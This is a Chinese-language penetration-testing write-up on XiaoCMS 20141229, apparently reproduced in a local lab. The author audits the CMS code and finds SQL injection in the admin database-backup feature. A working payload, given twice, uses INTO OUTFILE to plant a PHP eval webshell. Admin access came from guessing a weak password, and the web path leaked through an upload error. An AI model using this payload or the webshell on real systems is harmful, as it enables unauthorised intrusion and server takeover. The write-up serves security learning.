渗透测试之自力更生

本文是前段时间做过的测试，这次本文全篇使用本地搭建环境来复习，如有觉得不合理的地方，可能是本地复现的时候未完全还原真实环境，主要是记录当时在做这个渗透测试的思路以及踩过的坑。

打开网站，是一个企业介绍页，常规的文章列表等，尝试使用admin等发现系统后台，但是失败了，那就直接上工具扫吧。

发现除了Index.php外还有一个AdminSystem目录，访问发现是后台。

除了后台目录还有一个robots.txt,看看是否存在敏感信息。

通过robots.txt和后台的页面来看，本次测试目标应该是基于XiaoCms进行搭建的，检索一下该CMS是否存在漏洞，通过一通搜索有文章显示该CMS存在多个漏洞，比如前台文章处存在SQL注入等，具体如下：

优先查看SQL注入，选择文章进行测试是否存在该漏洞。

http://192.168.27.1/xiaocms_20141229/index.php?id=20

通过各种payload测试，均无法形成注入，而且该文章也并没有给出payload，仅是表示存在漏洞，除了一个名字以外没有任何详情。为了利用该漏洞，所以将源代码下载下来，审计此处的漏洞是如何利用的。

下载源代码后，查看下目录结构情况。

后台访问的URL是

http://192.168.27.1/xiaocms_20141229/admin/index.php，

也就是前台使用一个入口index.php后台使用的是admin目录下的Index.php做为入口，打开admin/index.php查看源代码。

前面基本都是定义一些常量,后面紧跟着就是引入了文件core/xiaocms.php，查看该文件代码。

该文件为整个CMS的核心，定义了一个名字叫xiaocms的抽象类，略过没有营养的部分，主要看下面这段静态方法。

处理URL的地方，这里应该是全局处理的，所以url中包含参数c和参数a，继续追踪静态变量$controller和$action。

将$controller和$action用下划线拼接为变量$app_id，判断静态变量中$_app（空数组）中是否包含该变量，不存在则先进行判断文件是否存在，然后进行引入以变量$controller命名的php文件，而$action则是该文件类里面以变量$action并拼接Action命名的方法，也就是URL中的C代表为controller同时也表示文件，参数a则代表是action，也就是controller里面的方法。

了解了URL的一个结构，再来看一下文章处的SQL注入漏洞，URL如下：

http://192.168.27.1/xiaocms_20141229/index.php?id=20

index.php直接跟ID参数，根据URL规则就是默认类和默认方法。

根据上图，可以看到通过GET方式获取ID后，直接给强转为整数型了，也就是说不管ID传送的内容是啥，在这里都会被强制转为整数，所以文章详情处的SQL注入，卒。

继续查看搜索处的SQL注入，搜索处的URL是：

http://192.168.27.1/xiaocms_20141229/index.php?c=index&a=search&kw=1

根据URL规则，找到搜索处的代码：

可以看到除了一个URL转码以外没有进行任何明显的过滤，直接赋值给$kw然后就代入数据库里进行查询了，但是根据代码查看显示，这里可能采用了预编译的方法进行防御SQL注入。跟进该执行方法,一直追溯，调用PHP原生PDO进行执行SQL语句，所以搜索出SQL注入漏洞，卒。

继续查看留言处的SQL注入，先看是不是留言页存在SQL注入，URL如下：

http://192.168.27.1/xiaocms_20141229/index.php?c=index&a=form&modelid=3

根据URL规则找到对应的代码，但是URL中参数modelid直接被强转为整数。

所以留言这页的URL不存在SQL注入，继续看是否是提交内容存在SQL注入。输入留言内容抓包，发现参数都是data，只不过data是个数组。

本地复现，先进代码查看下是否能利用成功，将动静降到最低。

可以看到接收所有的值后，将所有的内容代入post_check_fields进行验证，追踪看看。

该方法仅仅是将该请求需要的字段进行拼装重组，并未对字段内容进行校验，所以这里先过，接着看接下来的内容。

再拼装了一下其它的数据后，直接进行了insert操作，追踪insert方法。

继续追踪_filterFields方法。

仅校验了新增的字段，数据内容未进行校验，继续往下追踪这个insert。

追踪这个Insert方法，发现其实只是进行了数据拼接，拼装了SQL语句，并将SQL语句里面的值替换成问号，然后调用execute方法执行，继续追踪。

Execute方法如下：

Prepare函数准备要执行的SQL语句并返回一个PDOStatement对象，也就是说这里也是使用的PDO进行SQL语句执行，所以留言处的SQL注入，卒。

到此为止，搜索到的SQL注入基本没法利用，要么在该版本被修复，要么就是搜索到一篇假文章了，既然搜索Nday不靠谱，那就自己动手代码审计吧。

老规矩先检索一下是否存在CVE编号，根据CVE里面的提示可以更好的进行漏洞利用，很多CVE编号只会告诉哪个文件存在什么样的问题，但是并没有给出具体的payload之类的，所以即便通过CVE知道漏洞文件所在，也需要自己去下载代码进行漏洞分析，构造payload。

检索xiaocms这个关键词，运气不错，出来8个。

查看一下详情:

有一些CVE详情，会有详细的漏洞利用方法，访问看看这个github地址。

很不幸，不知道是因为运气不好遇到GitHub抽风了，还是什么原因，直接是500错误，既然不给看详情，那就根据提示自己审计吧。

根据提示是admin/index.php?c=database这个URL的问题，本地搭建环境访问一下看看。

看这个页面应该是数据备份的页面，也就是设置里的数据备份。

后台备份数据库的地方，访问的时间进行抓包:

选择几个系统表提交的时候进行抓包查看:

根据前面分析该CMS的一个URL请求情况，c=database就是controller目录下的database.php文件，这个请求没有a参数，所以方法应该是调用indexAction方法，具体看代码。

当POST提交并且参数submit参数不为空的时候，将tables字段的内容存入缓存，然后跳转URL，参数拼装了一个action和size，但还是访问的当前URL。

再次访问该URL，只不过参数新增了，抓包如下：

再看一下IndexAction的代码。

如果存在GET参数action，则调用export_database方法，查看该方法内容。

从缓存中取出数据，根据前面的内容可以发现，缓存里面存储的是表名，这里将缓存取出并赋值给$c_data，再将表名取出赋值给$tables，之后拼接SQL语句，$tabledump，并且还直接代入query方法执行表结构语句，但是这里对表名未做任何过滤，也就是说如果$this->db->query未做过滤，这里就存在SQL注入，追踪query方法。

没有进行数据过滤，只是替换了下字符串，并且不是针对安全方面，接着追_db->query()。

同样没有安全过滤，继续追踪。

SQL语句直接执行了，也就说后台的数据备份处存在SQL注入。

利用方法：

将一句话木马进行hex进行编码。

select hex("<?php @eval($_POST['x']);?>");

在第一次提交表名的时候篡改数据，让其重新拼装SQL语句。

Payload为：

list_form=&table%5B%5D=xiao_model`; select unhex('3C3F70687020406576616C28245F504F53545B2778275D293B3F3E') INTO OUTFILE 'D:/phpstudy_pro/WWW/xiaocms_20141229/111.php'; `;&table%5B%5D=xiao_model_field&submit=%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD

执行之后，接着访问URL：

http://192.168.27.1/xiaocms_20141229/admin/index.php?c=database&action=1&size=2048

即可触发SQL注入漏洞，这里直接进行写入WebShell，使用蚁剑连接。

成功获取WebShell。

通过本地的代码审计，发现了目标网址的这个CMS存在一个后台SQL注入并GetShell的漏洞，但是问题来了，到目前为止目标系统并没有账号密码，虽然已经发现了后台的地址，但是并不知道账号密码。

正好本地环境已经搭建好了，看下登录这里的源代码，看看是如何校验登录的，是否存在绕过的可能。

提交就校验验证码，如果验证码不正确直接返回，如果密码尝试错误过多，会被限制登录，然后取出用户名和密码，用预编译的方式进行查询的数据库，也就是SQL注入这里也没戏了，万能密码不好使了，之后就是密码校验，设置Session了，到这里思路又断了，如何才能进入后台呢？

测试做到这里，场面比较尴尬，知道后台存在可以GetShell的漏洞，但是却无法进入后台，既然前台的漏洞都试了一遍无法利用，后台又无法进入，那就只能靠猜密码了。

这中间被卡住很久，都没有取得成果，直接说成功的方法吧。

在页面底部有一个网址和©2016的标志，当时也确实是闲的，尝试使用该网址+2016这个年份为密码进行登录，没成想居然成功进入后台了。

柳暗花明又一村啊！

进入后台之后，可以利用刚刚代码审计的SQL注入漏洞进行GetShell了，由于那个漏洞是通过两个URL进行触发的，第一个URL接收POST传输的参数存入缓存，第二个URL才是从缓存里取出数据进行数据库操作，所以不太好使用工具进行操作，而且SQL注入想写入Shell还需要满足两个条件，第一是知道网站的绝对路径，第二个是需要有对应的写入文件权限才可以。

这里先尝试找网站的绝对路径，知道绝对路径后可以直接进行尝试，本以为进入后台后让程序报错是一个比较容易的事情，但是好像事情并没有那边简单，多处都做了防报错处理。

篡改C参数会提示Controller不存在，篡改A参数会提示Action不存在，篡改后面的ID呢，则没有任何效果，经过前面的代码分析，所有的ID都进行了强制类型转换，给转为了整数型，只会返回该ID所属的栏目不存在。

前后台的URL进行了一通尝试之后都没有什么结果，然后在后台看见有编辑器的地方，并且可以上传图片文件。

本来想着既然无法寻找到绝对路径，这里又有上传图片的地方，正好尝试，是否存在任意文件上传，可以更方便的拿到WebShell，上传抓包。

篡改数据包，修改为phpinfo尝试一下。

很明显，肯定是失败了，但是柳暗花明又一村对不对？虽然图片上传失败了，但是绝对路径被爆出来了。

绝对路径为：

D:phpstudy_proWWWxiaocms_20141229adminSystemcontrolleruploadfile.php

绝对路径已经拿到了，开始GetShell，打开数据备份处。

随机选择两个系统表，点击开始备份，拦截抓包。

使用payload进行数据篡改：

list_form=&table%5B%5D=xiao_model`; select unhex('3C3F70687020406576616C28245F504F53545B2778275D293B3F3E') INTO OUTFILE 'D:/phpstudy_pro/WWW/xiaocms_20141229/111.php'; `;&table%5B%5D=xiao_model_field&submit=%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD

提交后，根据提示再继续访问URL：

http://192.168.27.1/xiaocms_20141229/adminsystem/index.php?c=database&action=1&size=2048

如果该目标数据库有文件写入权限，那么现在在根目录下应该已经存在111.php文件了，访问一下试试。

未提示404，即可证明该文件生成成功，使用蚁剑连接。

成功拿到WebShell，本次渗透测试到此结束。

本文主要是通过信息收集发现后台，然后在破解密码无果后，发现其是基于CMS进行搭建的，通过在互联网上进行检索该CMS的历史漏洞，根据漏洞进行针对性的测试，无法成功后，下载其源码，尝试构造Payload，但是后续发现互联网上检索的漏洞居然无法复现，最后通过检索CVE找到其可能存在漏洞的位置，通过代码审计构造Payload，拿到WebShell。

另外在说明一下，有些CVE详情里面会有详细的漏洞利用方法，甚至Payload等都会给出，但是有些CVE详情并没有给出漏洞利用方法，只是告知了漏洞所存在的文件以及漏洞类型，所以需要通过这两个提示自己去进行代码审计，但是通过CVE详情去寻找漏洞不失为一个走捷径的好办法。